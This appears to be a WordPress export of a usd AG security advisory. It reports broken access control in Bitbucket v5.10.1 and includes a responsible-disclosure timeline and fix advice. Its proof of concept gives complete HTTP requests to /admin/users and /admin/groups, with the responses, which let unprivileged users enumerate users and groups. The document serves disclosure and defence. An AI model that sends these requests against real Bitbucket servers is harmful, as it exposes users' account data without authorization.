{"id":16605,"date":"2021-07-08T11:24:43","date_gmt":"2021-07-08T09:24:43","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2019-0015\/"},"modified":"2021-07-19T14:11:06","modified_gmt":"2021-07-19T12:11:06","slug":"usd-2019-0015","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2019-0015\/","title":{"rendered":"usd-2019-0015"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2019-0015 | Bitbucket\/v5.10.1<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2019-0015<\/span><br \/><strong>CVE Number<\/strong><span>: N\/A<\/span><br \/><strong>Affected Product<\/strong><span>: Bitbucket<\/span><br \/><strong>Affected Version<\/strong><span>: v5.10.1<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Broken Access Control<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/www.atlassian.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.atlassian.com<\/a><br \/><strong>Vendor Status<\/strong><span>: Not fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others. These checks are performed after authentication and govern what \u2018authorized\u2019 users are allowed to do. Access control sounds like a simple task. However, this is insidiously difficult to implement correctly. A web application\u2019s access control model is closely tied to the content and functions that the site provides. In addition, the users may fall into a number of groups or roles with different abilities or privileges.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept<\/h3>\n<p>The endpoints \u201e\/admin\/users\u201c and \u201e\/admin\/groups\u201c of an bitbucket instance are located in an administrative section, but can be used by unpriviliged users to request userdata saved by the application:<\/p>\n<p>Request:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]GET \/ admin\/users?start=0&amp;amp;limit=50&amp;amp;avatarSize=48&amp;amp;filter=usd HTTP\/1.1<br \/>\nHost: bitbucket.server<br \/>\nConnection: close<br \/>\nAccept: application\/json, text\/javascript, *\/*; q=0.01<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/72.0.3626.109 Safari\/537.36<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-US,en;q=0.9<br \/>\nCookie: BITBUCKETSESSIONID=A96AF1B941A4D22D49878E2FE1B6F2DD<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>Response:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]HTTP\/1.1 200<br \/>\nCache-Control: no-cache, no-transform<br \/>\nContent-Type: application\/json;charset=UTF-8<br \/>\nDate: Tue, 05 Mar 2019 09:14:38 GMT<br \/>\nConnection: close<br \/>\nContent-Length: 1849<\/p>\n<p>{\"size\":4,\"limit\":50,\"isLastPage\":true,\"values\":[{\"name\":\"Nutzerkennung\",\"id\":80947,\"displayName\":\"Usd Pentest 1, Georg\",\"active\":true,\"slug\":\"Nutzerkennung\",\"type\":\"NORMAL\",\"directoryName\":\"Active Directory [\u2026<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p>Same access control issue with the \u201egroups\u201c endpoint:<\/p>\n<p>Request:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]GET \/admin\/groups?start=0&amp;amp;limit=50&amp;amp;filter=usd HTTP\/1.1<br \/>\nHost: bitbucket.server<br \/>\nConnection: close<br \/>\nAccept: application\/json, text\/javascript, *\/*; q=0.01<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/72.0.3626.109 Safari\/537.36<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-US,en;q=0.9<br \/>\nCookie: BITBUCKETSESSIONID=A96AF1B941A4D22D49878E2FE1B6F2DD<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>Request:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]HTTP\/1.1 200<br \/>\nCache-Control: no-cache, no-transform<br \/>\nContent-Type: application\/json;charset=UTF-8<br \/>\nDate: Tue, 05 Mar 2019 09:14:38 GMT<br \/>\nConnection: close<br \/>\nContent-Length: 1849<\/p>\n<p>{\"size\":2,\"limit\":50,\"isLastPage\":true,\"values\":[{\"name\":\"usd1\",\"deletable\":true},{\"name\":\"usd2\",\"deletable\":true}],\"start\":0}<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>Protect endpoints, which provide sensitive functionalities, with proper access control.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2019-03-28 Vulnerability securily submitted to security@atlassian.com<\/li>\n<li>2019-04-11 Second contact attempt via <a href=\"https:\/\/getsupport.atlassian.com\/\" target=\"_blank\" rel=\"noopener\">contact formular<\/a><\/li>\n<li>2019-05-23 Atlassian Security Team agreed with the publishment of the advisory<\/li>\n<li>2019-07-31 Security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerabilities were found by Tobias Neitzel and Julian Frey of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2019-0015 | Bitbucket\/v5.10.1 Advisory ID: usd-2019-0015CVE Number: N\/AAffected Product: BitbucketAffected Version: v5.10.1Vulnerability Type: Broken Access ControlSecurity Risk: MediumVendor URL: https:\/\/www.atlassian.comVendor Status: Not fixed Description Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others. These checks are performed after authentication and govern what [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16605","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16605"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16605\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}